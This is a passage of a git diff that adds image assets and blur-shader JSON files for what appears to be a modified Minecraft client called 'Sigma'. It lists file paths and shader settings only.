"count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "Time", "type": "float", "count": 1, "values": [ 0.0 ] }, + { "name": "Frequency", "type": "float", "count": 2, "values": [ 512.0, 288.0 ] }, + { "name": "WobbleAmount", "type": "float", "count": 2, "values": [ 0.002, 0.002 ] } + ] +} diff --git a/src/assets/minecraft/sigma/BlankCard.png b/src/assets/minecraft/sigma/BlankCard.png new file mode 100644 index 00000000..2a8e66f1 Binary files /dev/null and b/src/assets/minecraft/sigma/BlankCard.png differ diff --git a/src/assets/minecraft/sigma/JelloPanel.png b/src/assets/minecraft/sigma/JelloPanel.png new file mode 100644 index 00000000..bfff01eb Binary files /dev/null and b/src/assets/minecraft/sigma/JelloPanel.png differ diff --git a/src/assets/minecraft/sigma/JelloPanelOverlay.png b/src/assets/minecraft/sigma/JelloPanelOverlay.png new file mode 100644 index 00000000..d0f13e94 Binary files /dev/null and b/src/assets/minecraft/sigma/JelloPanelOverlay.png differ diff --git a/src/assets/minecraft/sigma/LogoNew.png b/src/assets/minecraft/sigma/LogoNew.png new file mode 100644 index 00000000..a1538ae4 Binary files /dev/null and b/src/assets/minecraft/sigma/LogoNew.png differ diff --git a/src/assets/minecraft/sigma/Microsoftlogin.png b/src/assets/minecraft/sigma/Microsoftlogin.png new file mode 100644 index 00000000..163f345a Binary files /dev/null and b/src/assets/minecraft/sigma/Microsoftlogin.png differ diff --git a/src/assets/minecraft/sigma/MiniMap.png b/src/assets/minecraft/sigma/MiniMap.png new file mode 100644 index 00000000..352236b1 Binary files /dev/null and b/src/assets/minecraft/sigma/MiniMap.png differ diff --git a/src/assets/minecraft/sigma/NameTags.png b/src/assets/minecraft/sigma/NameTags.png new file mode 100644 index 00000000..47c84d5a Binary files /dev/null and b/src/assets/minecraft/sigma/NameTags.png differ diff --git a/src/assets/minecraft/sigma/NewB.png b/src/assets/minecraft/sigma/NewB.png new file mode 100644 index 00000000..c67a6e9d Binary files /dev/null and b/src/assets/minecraft/sigma/NewB.png differ diff --git a/src/assets/minecraft/sigma/NewLogo.png b/src/assets/minecraft/sigma/NewLogo.png new file mode 100644 index 00000000..cd6f38f1 Binary files /dev/null and b/src/assets/minecraft/sigma/NewLogo.png differ diff --git a/src/assets/minecraft/sigma/TabGUI.png b/src/assets/minecraft/sigma/TabGUI.png new file mode 100644 index 00000000..7b107d67 Binary files /dev/null and b/src/assets/minecraft/sigma/TabGUI.png differ diff --git a/src/assets/minecraft/sigma/add.png b/src/assets/minecraft/sigma/add.png new file mode 100644 index 00000000..f3a26a2c Binary files /dev/null and b/src/assets/minecraft/sigma/add.png differ diff --git a/src/assets/minecraft/sigma/addalt.png b/src/assets/minecraft/sigma/addalt.png new file mode 100644 index 00000000..60151f20 Binary files /dev/null and b/src/assets/minecraft/sigma/addalt.png differ diff --git a/src/assets/minecraft/sigma/addalt2.png b/src/assets/minecraft/sigma/addalt2.png new file mode 100644 index 00000000..38696322 Binary files /dev/null and b/src/assets/minecraft/sigma/addalt2.png differ diff --git a/src/assets/minecraft/sigma/alt.png b/src/assets/minecraft/sigma/alt.png new file mode 100644 index 00000000..fb3a5c70 Binary files /dev/null and b/src/assets/minecraft/sigma/alt.png differ diff --git a/src/assets/minecraft/sigma/altmanager.png b/src/assets/minecraft/sigma/altmanager.png new file mode 100644 index 00000000..5075f538 Binary files /dev/null and b/src/assets/minecraft/sigma/altmanager.png differ diff --git a/src/assets/minecraft/sigma/altrect.png b/src/assets/minecraft/sigma/altrect.png new file mode 100644 index 00000000..a2df2ff9 Binary files /dev/null and b/src/assets/minecraft/sigma/altrect.png differ diff --git a/src/assets/minecraft/sigma/altshadow.png b/src/assets/minecraft/sigma/altshadow.png new file mode 100644 index 00000000..8624c2da Binary files /dev/null and b/src/assets/minecraft/sigma/altshadow.png differ diff --git a/src/assets/minecraft/sigma/arraylistshadow.png b/src/assets/minecraft/sigma/arraylistshadow.png new file mode 100644 index 00000000..aca75ad2 Binary files /dev/null and b/src/assets/minecraft/sigma/arraylistshadow.png differ diff --git a/src/assets/minecraft/sigma/background.png b/src/assets/minecraft/sigma/background.png new file mode 100644 index 00000000..2ca04a31 Binary files /dev/null and b/src/assets/minecraft/sigma/background.png differ diff --git a/src/assets/minecraft/sigma/bigplay.png b/src/assets/minecraft/sigma/bigplay.png new file mode 100644 index 00000000..9b817e91 Binary files /dev/null and b/src/assets/minecraft/sigma/bigplay.png differ diff --git a/src/assets/minecraft/sigma/button/.tmp b/src/assets/minecraft/sigma/button/.tmp new file mode 100644 index 00000000..a908486a Binary files /dev/null and b/src/assets/minecraft/sigma/button/.tmp differ diff --git a/src/assets/minecraft/sigma/button/Jello.png b/src/assets/minecraft/sigma/button/Jello.png new file mode 100644 index 00000000..23b6256b Binary files /dev/null and b/src/assets/minecraft/sigma/button/Jello.png differ diff --git a/src/assets/minecraft/sigma/button/dvd.png b/src/assets/minecraft/sigma/button/dvd.png new file mode 100644 index 00000000..c905cf7d Binary files /dev/null and b/src/assets/minecraft/sigma/button/dvd.png differ diff --git a/src/assets/minecraft/sigma/button/logo.png b/src/assets/minecraft/sigma/button/logo.png new file mode 100644 index 00000000..d5771935 Binary files /dev/null and b/src/assets/minecraft/sigma/button/logo.png differ diff --git a/src/assets/minecraft/sigma/button/zzz.png b/src/assets/minecraft/sigma/button/zzz.png new file mode 100644 index 00000000..e13e98eb Binary files /dev/null and b/src/assets/minecraft/sigma/button/zzz.png differ diff --git a/src/assets/minecraft/sigma/check.png b/src/assets/minecraft/sigma/check.png new file mode 100644 index 00000000..4f742e63 Binary files /dev/null and b/src/assets/minecraft/sigma/check.png differ diff --git a/src/assets/minecraft/sigma/checked.png b/src/assets/minecraft/sigma/checked.png new file mode 100644 index 00000000..32f57e4f Binary files /dev/null and b/src/assets/minecraft/sigma/checked.png differ diff --git a/src/assets/minecraft/sigma/combatcat.png b/src/assets/minecraft/sigma/combatcat.png new file mode 100644 index 00000000..ab7d1a35 Binary files /dev/null and b/src/assets/minecraft/sigma/combatcat.png differ diff --git a/src/assets/minecraft/sigma/copyrightjello.png b/src/assets/minecraft/sigma/copyrightjello.png new file mode 100644 index 00000000..a4c331f3 Binary files /dev/null and b/src/assets/minecraft/sigma/copyrightjello.png differ diff --git a/src/assets/minecraft/sigma/durationshadow.png b/src/assets/minecraft/sigma/durationshadow.png new file mode 100644 index 00000000..1a53dc7a Binary files /dev/null and b/src/assets/minecraft/sigma/durationshadow.png differ diff --git a/src/assets/minecraft/sigma/exit.png b/src/assets/minecraft/sigma/exit.png new file mode 100644 index 00000000..1bd34a98 Binary files /dev/null and b/src/assets/minecraft/sigma/exit.png differ diff --git a/src/assets/minecraft/sigma/failed.png b/src/assets/minecraft/sigma/failed.png new file mode 100644 index 00000000..ad068b02 Binary files /dev/null and b/src/assets/minecraft/sigma/failed.png differ diff --git a/src/assets/minecraft/sigma/fastforward.png b/src/assets/minecraft/sigma/fastforward.png new file mode 100644 index 00000000..e01cbc80 Binary files /dev/null and b/src/assets/minecraft/sigma/fastforward.png differ diff --git a/src/assets/minecraft/sigma/img.png b/src/assets/minecraft/sigma/img.png new file mode 100644 index 00000000..3ba4fc80 Binary files /dev/null and b/src/assets/minecraft/sigma/img.png differ diff --git a/src/assets/minecraft/sigma/itemcat.png b/src/assets/minecraft/sigma/itemcat.png new file mode 100644 index 00000000..341f4de1 Binary files /dev/null and b/src/assets/minecraft/sigma/itemcat.png differ diff --git a/src/assets/minecraft/sigma/jelloaltmanager.png b/src/assets/minecraft/sigma/jelloaltmanager.png new file mode 100644 index 00000000..86f9b28a Binary files /dev/null and b/src/assets/minecraft/sigma/jelloaltmanager.png differ diff --git a/src/assets/minecraft/sigma/jellologo.png b/src/assets/minecraft/sigma/jellologo.png new file mode 100644 index 00000000..5a090f7a Binary files /dev/null and b/src/assets/minecraft/sigma/jellologo.png differ diff --git a/src/assets/minecraft/sigma/jellomusicbackground.png b/src/assets/minecraft/sigma/jellomusicbackground.png new file mode 100644 index 00000000..e9792db9 Binary files /dev/null and b/src/assets/minecraft/sigma/jellomusicbackground.png differ diff --git a/src/assets/minecraft/sigma/keybind.png b/src/assets/minecraft/sigma/keybind.png new file mode 100644 index 00000000..ebcf9930 Binary files /dev/null and b/src/assets/minecraft/sigma/keybind.png differ diff --git a/src/assets/minecraft/sigma/keystrokes.png b/src/assets/minecraft/sigma/keystrokes.png new file mode 100644 index 00000000..3c95b274 Binary files /dev/null and b/src/assets/minecraft/sigma/keystrokes.png differ diff --git a/src/assets/minecraft/sigma/keystrokes_nb.png b/src/assets/minecraft/sigma/keystrokes_nb.png new file mode 100644 index 00000000..a2eb4e1e Binary files /dev/null and b/src/assets/minecraft/sigma/keystrokes_nb.png differ diff --git a/src/assets/minecraft/sigma/keystrokes_nb2.png b/src/assets/minecraft/sigma/keystrokes_nb2.png new file mode 100644 index 00000000..80958103 Binary files /dev/null and b/src/assets/minecraft/sigma/keystrokes_nb2.png differ diff --git a/src/assets/minecraft/sigma/leftslider.png b/src/assets/minecraft/sigma/leftslider.png new file mode 100644 index 00000000..2dfc7961 Binary files /dev/null and b/src/assets/minecraft/sigma/leftslider.png differ diff --git a/src/assets/minecraft/sigma/loader.png b/src/assets/minecraft/sigma/loader.png new file mode 100644 index 00000000..3373e066 Binary files /dev/null and b/src/assets/minecraft/sigma/loader.png differ diff --git a/src/assets/minecraft/sigma/logo.png b/src/assets/minecraft/sigma/logo.png new file mode 100644 index 00000000..8cf8ba75 Binary files /dev/null and b/src/assets/minecraft/sigma/logo.png differ diff --git a/src/assets/minecraft/sigma/mainmenubackground.png b/src/assets/minecraft/sigma/mainmenubackground.png new file mode 100644 index 00000000..2befd286 Binary files /dev/null and b/src/assets/minecraft/sigma/mainmenubackground.png differ diff --git a/src/assets/minecraft/sigma/menu/accounts.png b/src/assets/minecraft/sigma/menu/accounts.png new file mode 100644 index 00000000..8c72fa37 Binary files /dev/null and b/src/assets/minecraft/sigma/menu/accounts.png differ diff --git a/src/assets/minecraft/sigma/menu/agora.png b/src/assets/minecraft/sigma/menu/agora.png new file mode 100644 index 00000000..2ac4500e Binary files /dev/null and b/src/assets/minecraft/sigma/menu/agora.png differ diff --git a/src/assets/minecraft/sigma/menu/big.png b/src/assets/minecraft/sigma/menu/big.png new file mode 100644 index 00000000..be911e0a Binary files /dev/null and b/src/assets/minecraft/sigma/menu/big.png differ diff --git a/src/assets/minecraft/sigma/menu/changelog.png b/src/assets/minecraft/sigma/menu/changelog.png new file mode 100644 index 00000000..d901a288 Binary files /dev/null and b/src/assets/minecraft/sigma/menu/changelog.png differ diff --git a/src/assets/minecraft/sigma/menu/changelog2.png b/src/assets/minecraft/sigma/menu/changelog2.png new file mode 100644 index 00000000..1e1b39cc Binary files /dev/null and b/src/assets/minecraft/sigma/menu/changelog2.png differ diff --git a/src/assets/minecraft/sigma/menu/exit.png b/src/assets/minecraft/sigma/menu/exit.png new file mode 100644 index 00000000..ba883e4b Binary files /dev/null and b/src/assets/minecraft/sigma/menu/exit.png differ diff --git a/src/assets/minecraft/sigma/menu/language.png b/src/assets/minecraft/sigma/menu/language.png new file mode 100644 index 00000000..c83643be Binary files /dev/null and b/src/assets/minecraft/sigma/menu/language.png differ diff --git a/src/assets/minecraft/sigma/menu/mainmenubackground.png b/src/assets/minecraft/sigma/menu/mainmenubackground.png new file mode 100644 index 00000000..2befd286 Binary files /dev/null and b/src/assets/minecraft/sigma/menu/mainmenubackground.png differ diff --git a/src/assets/minecraft/sigma/menu/multiplayer.png b/src/assets/minecraft/sigma/menu/multiplayer.png new file mode 100644 index 00000000..2992ab6b Binary files /dev/null and b/src/assets/minecraft/sigma/menu/multiplayer.png differ diff --git a/src/assets/minecraft/sigma/menu/options.png b/src/assets/minecraft/sigma/menu/options.png new file mode 100644 index 00000000..1615d19c Binary files /dev/null and b/src/assets/minecraft/sigma/menu/options.png differ diff --git a/src/assets/minecraft/sigma/menu/pub.jpg b/src/assets/minecraft/sigma/menu/pub.jpg new file mode 100644 index 00000000..a02df6ab Binary files /dev/null and b/src/assets/minecraft/sigma/menu/pub.jpg differ diff --git a/src/assets/minecraft/sigma/menu/singleplayer.png b/src/assets/minecraft/sigma/menu/singleplayer.png new file mode 100644 index 00000000..96542061 Binary files /dev/null and b/src/assets/minecraft/sigma/menu/singleplayer.png differ diff --git a/src/assets/minecraft/sigma/menu/yt.png b/src/assets/minecraft/sigma/menu/yt.png new file mode 100644 index 00000000..7d9fd68e Binary files /dev/null and b/src/assets/minecraft/sigma/menu/yt.png differ diff --git a/src/assets/minecraft/sigma/movementcat.png b/src/assets/minecraft/sigma/movementcat.png new file mode 100644 index 00000000..4a786bbd Binary files /dev/null and b/src/assets/minecraft/sigma/movementcat.png differ diff --git a/src/assets/minecraft/sigma/multiplayer.png b/src/assets/minecraft/sigma/multiplayer.png new file mode 100644 index 00000000..37283d9c Binary files /dev/null and b/src/assets/minecraft/sigma/multiplayer.png differ diff --git a/src/assets/minecraft/sigma/music shadow.png b/src/assets/minecraft/sigma/music shadow.png new file mode 100644 index 00000000..d95fa864 Binary files /dev/null and b/src/assets/minecraft/sigma/music shadow.png differ diff --git a/src/assets/minecraft/sigma/music.png b/src/assets/minecraft/sigma/music.png new file mode 100644 index 00000000..9d1bd266 Binary files /dev/null and b/src/assets/minecraft/sigma/music.png differ diff --git a/src/assets/minecraft/sigma/musicicon.png b/src/assets/minecraft/sigma/musicicon.png new file mode 100644 index 00000000..5b2c8cc5 Binary files /dev/null and b/src/assets/minecraft/sigma/musicicon.png differ diff --git a/src/assets/minecraft/sigma/musicplayer/bigplay.png b/src/assets/minecraft/sigma/musicplayer/bigplay.png new file mode 100644 index 00000000..9b817e91 Binary files /dev/null and b/src/assets/minecraft/sigma/musicplayer/bigplay.png differ diff --git a/src/assets/minecraft/sigma/musicplayer/repeat.png b/src/assets/minecraft/sigma/musicplayer/repeat.png new file mode 100644 index 00000000..55b7c821 Binary files /dev/null and b/src/assets/minecraft/sigma/musicplayer/repeat.png differ diff --git a/src/assets/minecraft/sigma/musicplayer/repeatdis.png b/src/assets/minecraft/sigma/musicplayer/repeatdis.png new file mode 100644 index 00000000..6d252fd9 Binary files /dev/null and b/src/assets/minecraft/sigma/musicplayer/repeatdis.png differ diff --git a/src/assets/minecraft/sigma/musicplayer/wave.png b/src/assets/minecraft/sigma/musicplayer/wave.png new file mode 100644 index 00000000..eead6bb2 Binary files /dev/null and b/src/assets/minecraft/sigma/musicplayer/wave.png differ diff --git a/src/assets/minecraft/sigma/musicshadow.png b/src/assets/minecraft/sigma/musicshadow.png new file mode 100644 index 00000000..d95fa864 Binary files /dev/null and b/src/assets/minecraft/sigma/musicshadow.png differ diff --git a/src/assets/minecraft/sigma/notification.png b/src/assets/minecraft/sigma/notification.png new file mode 100644 index 00000000..d41b8ec2 Binary files /dev/null and b/src/assets/minecraft/sigma/notification.png differ diff --git a/src/assets/minecraft/sigma/nt.png b/src/assets/minecraft/sigma/nt.png new file mode 100644 index 00000000..47c84d5a Binary files /dev/null and b/src/assets/minecraft/sigma/nt.png differ diff --git a/src/assets/minecraft/sigma/onbuttonbg.png b/src/assets/minecraft/sigma/onbuttonbg.png new file mode 100644 index 00000000..55607c92 Binary files /dev/null and b/src/assets/minecraft/sigma/onbuttonbg.png differ diff --git a/src/assets/minecraft/sigma/onbuttonbgres.png b/src/assets/minecraft/sigma/onbuttonbgres.png new file mode 100644 index 00000000..e20ed89b Binary files /dev/null and b/src/assets/minecraft/sigma/onbuttonbgres.png differ diff --git a/src/assets/minecraft/sigma/options.png b/src/assets/minecraft/sigma/options.png new file mode 100644 index 00000000..7f52c572 Binary files /dev/null and b/src/assets/minecraft/sigma/options.png differ diff --git a/src/assets/minecraft/sigma/panelbottom.png b/src/assets/minecraft/sigma/panelbottom.png new file mode 100644 index 00000000..a7940fb5 Binary files /dev/null and b/src/assets/minecraft/sigma/panelbottom.png differ diff --git a/src/assets/minecraft/sigma/panelbottom2.png b/src/assets/minecraft/sigma/panelbottom2.png new file mode 100644 index 00000000..ff1d7816 Binary files /dev/null and b/src/assets/minecraft/sigma/panelbottom2.png differ diff --git a/src/assets/minecraft/sigma/panelbottomleft.png b/src/assets/minecraft/sigma/panelbottomleft.png new file mode 100644 index 00000000..5a672c40 Binary files /dev/null and b/src/assets/minecraft/sigma/panelbottomleft.png differ diff --git a/src/assets/minecraft/sigma/panelbottomleft2.png b/src/assets/minecraft/sigma/panelbottomleft2.png new file mode 100644 index 00000000..15ac6741 Binary files /dev/null and b/src/assets/minecraft/sigma/panelbottomleft2.png differ diff --git a/src/assets/minecraft/sigma/panelbottomright.png b/src/assets/minecraft/sigma/panelbottomright.png new file mode 100644 index 00000000..1c691ee1 Binary files /dev/null and b/src/assets/minecraft/sigma/panelbottomright.png differ diff --git a/src/assets/minecraft/sigma/panelbottomright2.png b/src/assets/minecraft/sigma/panelbottomright2.png new file mode 100644 index 00000000..e96fdcaa Binary files /dev/null and b/src/assets/minecraft/sigma/panelbottomright2.png differ diff --git a/src/assets/minecraft/sigma/panelleft.png b/src/assets/minecraft/sigma/panelleft.png new file mode 100644 index 00000000..c5cfafb0 Binary files /dev/null and b/src/assets/minecraft/sigma/panelleft.png differ diff --git a/src/assets/minecraft/sigma/panelleft2.png b/src/assets/minecraft/sigma/panelleft2.png new file mode 100644 index 00000000..8bc5f8c4 Binary files /dev/null and b/src/assets/minecraft/sigma/panelleft2.png differ diff --git a/src/assets/minecraft/sigma/panelright.png b/src/assets/minecraft/sigma/panelright.png new file mode 100644 index 00000000..b3d4a4b1 Binary files /dev/null and b/src/assets/minecraft/sigma/panelright.png differ diff --git a/src/assets/minecraft/sigma/panelright2.png b/src/assets/minecraft/sigma/panelright2.png new file mode 100644 index 00000000..fb5787c2 Binary files /dev/null and b/src/assets/minecraft/sigma/panelright2.png differ diff --git a/src/assets/minecraft/sigma/paneltop.png b/src/assets/minecraft/sigma/paneltop.png new file mode 100644 index 00000000..3c3e9f2f Binary files /dev/null and b/src/assets/minecraft/sigma/paneltop.png differ diff --git a/src/assets/minecraft/sigma/paneltop2.png b/src/assets/minecraft/sigma/paneltop2.png new file mode 100644 index 00000000..cd953d69 Binary files /dev/null and b/src/assets/minecraft/sigma/paneltop2.png differ diff --git a/src/assets/minecraft/sigma/paneltopleft.png b/src/assets/minecraft/sigma/paneltopleft.png new file mode 100644 index 00000000..c1c35efa Binary files /dev/null and b/src/assets/minecraft/sigma/paneltopleft.png differ diff --git a/src/assets/minecraft/sigma/paneltopleft2.png b/src/assets/minecraft/sigma/paneltopleft2.png new file mode 100644 index 00000000..69b06461 Binary files /dev/null and b/src/assets/minecraft/sigma/paneltopleft2.png differ diff --git a/src/assets/minecraft/sigma/paneltopright.png b/src/assets/minecraft/sigma/paneltopright.png new file mode 100644 index 00000000..0525949f Binary files /dev/null and b/src/assets/minecraft/sigma/paneltopright.png differ diff --git a/src/assets/minecraft/sigma/paneltopright2.png b/src/assets/minecraft/sigma/paneltopright2.png new file mode 100644 index 00000000..d2b1b96a Binary files /dev/null and b/src/assets/minecraft/sigma/paneltopright2.png differ diff --git a/src/assets/minecraft/sigma/pause.png b/src/assets/minecraft/sigma/pause.png new file mode 100644 index 00000000..833e0441 Binary files /dev/null and b/src/assets/minecraft/sigma/pause.png differ diff --git a/src/assets/minecraft/sigma/play.png b/src/assets/minecraft/sigma/play.png new file mode 100644 index 00000000..f2caed3d Binary files /dev/null and b/src/assets/minecraft/sigma/play.png differ diff --git a/src/assets/minecraft/sigma/playercat.png b/src/assets/minecraft/sigma/playercat.png new file mode 100644 index 00000000..87ffde9e Binary files /dev/null and b/src/assets/minecraft/sigma/playercat.png differ diff --git a/src/assets/minecraft/sigma/playermodelbackgroundblock.png b/src/assets/minecraft/sigma/playermodelbackgroundblock.png new file mode 100644 index 00000000..05df9c5c Binary files /dev/null and b/src/assets/minecraft/sigma/playermodelbackgroundblock.png differ diff --git a/src/assets/minecraft/sigma/playermodelbackgroundblock2.png b/src/assets/minecraft/sigma/playermodelbackgroundblock2.png new file mode 100644 index 00000000..c7dfb7bf Binary files /dev/null and b/src/assets/minecraft/sigma/playermodelbackgroundblock2.png differ diff --git a/src/assets/minecraft/sigma/playermodelshadow.png b/src/assets/minecraft/sigma/playermodelshadow.png new file mode 100644 index 00000000..5deb5069 Binary files /dev/null and b/src/assets/minecraft/sigma/playermodelshadow.png differ diff --git a/src/assets/minecraft/sigma/rendercat.png b/src/assets/minecraft/sigma/rendercat.png new file mode 100644 index 00000000..980aa594 Binary files /dev/null and b/src/assets/minecraft/sigma/rendercat.png differ diff --git a/src/assets/minecraft/sigma/rewind.png b/src/assets/minecraft/sigma/rewind.png new file mode 100644 index 00000000..14f0e1e6 Binary files /dev/null and b/src/assets/minecraft/sigma/rewind.png differ diff --git a/src/assets/minecraft/sigma/sb.png b/src/assets/minecraft/sigma/sb.png new file mode 100644 index 00000000..24d94264 Binary files /dev/null and b/src/assets/minecraft/sigma/sb.png differ diff --git a/src/assets/minecraft/sigma/scroll ball.png b/src/assets/minecraft/sigma/scroll ball.png new file mode 100644 index 00000000..6fd7ece1 Binary files /dev/null and b/src/assets/minecraft/sigma/scroll ball.png differ diff --git a/src/assets/minecraft/sigma/select/background.png b/src/assets/minecraft/sigma/select/background.png new file mode 100644 index 00000000..bde37c2f Binary files /dev/null and b/src/assets/minecraft/sigma/select/background.png differ diff --git a/src/assets/minecraft/sigma/select/big.png b/src/assets/minecraft/sigma/select/big.png new file mode 100644 index 00000000..be911e0a Binary files /dev/null and b/src/assets/minecraft/sigma/select/big.png differ diff --git a/src/assets/minecraft/sigma/select/classic.png b/src/assets/minecraft/sigma/select/classic.png new file mode 100644 index 00000000..1af7b3d6 Binary files /dev/null and b/src/assets/minecraft/sigma/select/classic.png differ diff --git a/src/assets/minecraft/sigma/select/jello.png b/src/assets/minecraft/sigma/select/jello.png new file mode 100644 index 00000000..03de2604 Binary files /dev/null and b/src/assets/minecraft/sigma/select/jello.png differ diff --git a/src/assets/minecraft/sigma/select/jellosigma.png b/src/assets/minecraft/sigma/select/jellosigma.png new file mode 100644 index 00000000..18286f8e Binary files /dev/null and b/src/assets/minecraft/sigma/select/jellosigma.png differ diff --git a/src/assets/minecraft/sigma/select/logo.png b/src/assets/minecraft/sigma/select/logo.png new file mode 100644 index 00000000..b8c99c91 Binary files /dev/null and b/src/assets/minecraft/sigma/select/logo.png differ diff --git a/src/assets/minecraft/sigma/select/noaddons.png b/src/assets/minecraft/sigma/select/noaddons.png new file mode 100644 index 00000000..074c6e8c Binary files /dev/null and b/src/assets/minecraft/sigma/select/noaddons.png differ diff --git a/src/assets/minecraft/sigma/select/sele.png b/src/assets/minecraft/sigma/select/sele.png new file mode 100644 index 00000000..7c887462 Binary files /dev/null and b/src/assets/minecraft/sigma/select/sele.png differ diff --git a/src/assets/minecraft/sigma/select/sigmalogo.png b/src/assets/minecraft/sigma/select/sigmalogo.png new file mode 100644 index 00000000..63c8cf93 Binary files /dev/null and b/src/assets/minecraft/sigma/select/sigmalogo.png differ diff --git a/src/assets/minecraft/sigma/select/sigmalogo2.png b/src/assets/minecraft/sigma/select/sigmalogo2.png new file mode 100644 index 00000000..2e4c6160 Binary files /dev/null and b/src/assets/minecraft/sigma/select/sigmalogo2.png differ diff --git a/src/assets/minecraft/sigma/select/spl.png b/src/assets/minecraft/sigma/select/spl.png new file mode 100644 index 00000000..7fac456c Binary files /dev/null and b/src/assets/minecraft/sigma/select/spl.png differ diff --git a/src/assets/minecraft/sigma/select/spl2.png b/src/assets/minecraft/sigma/select/spl2.png new file mode 100644 index 00000000..7fac456c Binary files /dev/null and b/src/assets/minecraft/sigma/select/spl2.png differ diff --git a/src/assets/minecraft/sigma/select/splashlogo.png b/src/assets/minecraft/sigma/select/splashlogo.png new file mode 100644 index 00000000..b9376cfe Binary files /dev/null and b/src/assets/minecraft/sigma/select/splashlogo.png differ diff --git a/src/assets/minecraft/sigma/selectedAltTriangle.png b/src/assets/minecraft/sigma/selectedAltTriangle.png new file mode 100644 index 00000000..40360f8a Binary files /dev/null and b/src/assets/minecraft/sigma/selectedAltTriangle.png differ diff --git a/src/assets/minecraft/sigma/settings.png b/src/assets/minecraft/sigma/settings.png new file mode 100644 index 00000000..2fc93ff5 Binary files /dev/null and b/src/assets/minecraft/sigma/settings.png differ diff --git a/src/assets/minecraft/sigma/shader/blur.json b/src/assets/minecraft/sigma/shader/blur.json new file mode 100644 index 00000000..228b1f2b --- /dev/null +++ b/src/assets/minecraft/sigma/shader/blur.json @@ -0,0 +1,67 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "blur", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 1.0, 0.0 ] + }, + { + "name": "Radius", + "values": [ 5.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "swap", + "outtarget": "minecraft:main", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 1.0 ] + }, + { + "name": "Radius", + "values": [ 5.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 1.0, 0.0 ] + }, + { + "name": "Radius", + "values": [ 5.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "swap", + "outtarget": "minecraft:main", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 1.0 ] + }, + { + "name": "Radius", + "values": [ 5.0 ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/sigma/shadow.png b/src/assets/minecraft/sigma/shadow.png new file mode 100644 index 00000000..27b165a7 Binary files /dev/null and b/src/assets/minecraft/sigma/shadow.png differ diff --git a/src/assets/minecraft/sigma/shadowgui.png b/src/assets/minecraft/sigma/shadowgui.png new file mode 100644 index 00000000..e09082e1 Binary files /dev/null and b/src/assets/minecraft/sigma/shadowgui.png differ diff --git a/src/assets/minecraft/sigma/shop.png b/src/assets/minecraft/sigma/shop.png new file mode 100644 index 00000000..1711fa9b Binary files /dev/null and b/src/assets/minecraft/sigma/shop.png differ diff --git a/src/assets/minecraft/sigma/sigmacount.png b/src/assets/minecraft/sigma/sigmacount.png new file mode 100644 index 00000000..30c60c97 Binary files /dev/null and b/src/assets/minecraft/sigma/sigmacount.png differ diff --git a/src/assets/minecraft/sigma/sigmalogo.png b/src/assets/minecraft/sigma/sigmalogo.png new file mode 100644 index 00000000..b5ddd171 Binary files /dev/null and b/src/assets/minecraft/sigma/sigmalogo.png differ diff --git a/src/assets/minecraft/sigma/singleplayer.png b/src/assets/minecraft/sigma/singleplayer.png new file mode 100644 index 00000000..64d21041 Binary files /dev/null and b/src/assets/minecraft/sigma/singleplayer.png differ diff --git a/src/assets/minecraft/sigma/slector.png b/src/assets/minecraft/sigma/slector.png new file mode 100644 index 00000000..44d23466 Binary files /dev/null and b/src/assets/minecraft/sigma/slector.png differ diff --git a/src/assets/minecraft/sigma/sliderhead.png b/src/assets/minecraft/sigma/sliderhead.png new file mode 100644 index 00000000..70d1641f Binary files /dev/null and b/src/assets/minecraft/sigma/sliderhead.png differ diff --git a/src/assets/minecraft/sigma/sliderright.png b/src/assets/minecraft/sigma/sliderright.png new file mode 100644 index 00000000..53d2d4b8 Binary files /dev/null and b/src/assets/minecraft/sigma/sliderright.png differ diff --git a/src/assets/minecraft/sigma/slidershadow.png b/src/assets/minecraft/sigma/slidershadow.png new file mode 100644 index 00000000..18853a04 Binary files /dev/null and b/src/assets/minecraft/sigma/slidershadow.png differ diff --git a/src/assets/minecraft/sigma/splash.png b/src/assets/minecraft/sigma/splash.png new file mode 100644 index 00000000..82cbca2f Binary files /dev/null and b/src/assets/minecraft/sigma/splash.png differ diff --git a/src/assets/minecraft/sigma/splashload.png b/src/assets/minecraft/sigma/splashload.png new file mode 100644 index 00000000..6eb7af84 Binary files /dev/null and b/src/assets/minecraft/sigma/splashload.png differ diff --git a/src/assets/minecraft/sigma/switch.png b/src/assets/minecraft/sigma/switch.png new file mode 100644 index 00000000..252bc14f Binary files /dev/null and b/src/assets/minecraft/sigma/switch.png differ diff --git a/src/assets/minecraft/sigma/switchbg.png b/src/assets/minecraft/sigma/switchbg.png new file mode 100644 index 00000000..6e1fab01 Binary files /dev/null and b/src/assets/minecraft/sigma/switchbg.png differ diff --git a/src/assets/minecraft/sigma/switchbgres.png b/src/assets/minecraft/sigma/switchbgres.png new file mode 100644 index 00000000..c624c0f3 Binary files /dev/null and b/src/assets/minecraft/sigma/switchbgres.png differ diff --git a/src/assets/minecraft/sigma/switchonly.png b/src/assets/minecraft/sigma/switchonly.png new file mode 100644 index 00000000..e76df74f Binary files /dev/null and b/src/assets/minecraft/sigma/switchonly.png differ diff --git a/src/assets/minecraft/sigma/switchonlyres.png b/src/assets/minecraft/sigma/switchonlyres.png new file mode 100644 index 00000000..ce43f3f0 Binary files /dev/null and b/src/assets/minecraft/sigma/switchonlyres.png differ diff --git a/src/assets/minecraft/sigma/switchres.png b/src/assets/minecraft/sigma/switchres.png new file mode 100644 index 00000000..5abf0edb Binary files /dev/null and b/src/assets/minecraft/sigma/switchres.png differ diff --git a/src/assets/minecraft/sigma/tabguishadow.png b/src/assets/minecraft/sigma/tabguishadow.png new file mode 100644 index 00000000..1c6ce022 Binary files /dev/null and b/src/assets/minecraft/sigma/tabguishadow.png differ diff --git a/src/assets/minecraft/sigma/thumbnailsquare.png b/src/assets/minecraft/sigma/thumbnailsquare.png new file mode 100644 index 00000000..45381e53 Binary files /dev/null and b/src/assets/minecraft/sigma/thumbnailsquare.png differ diff --git a/src/assets/minecraft/sigma/title.png b/src/assets/minecraft/sigma/title.png new file mode 100644 index 00000000..959da7f9 Binary files /dev/null and 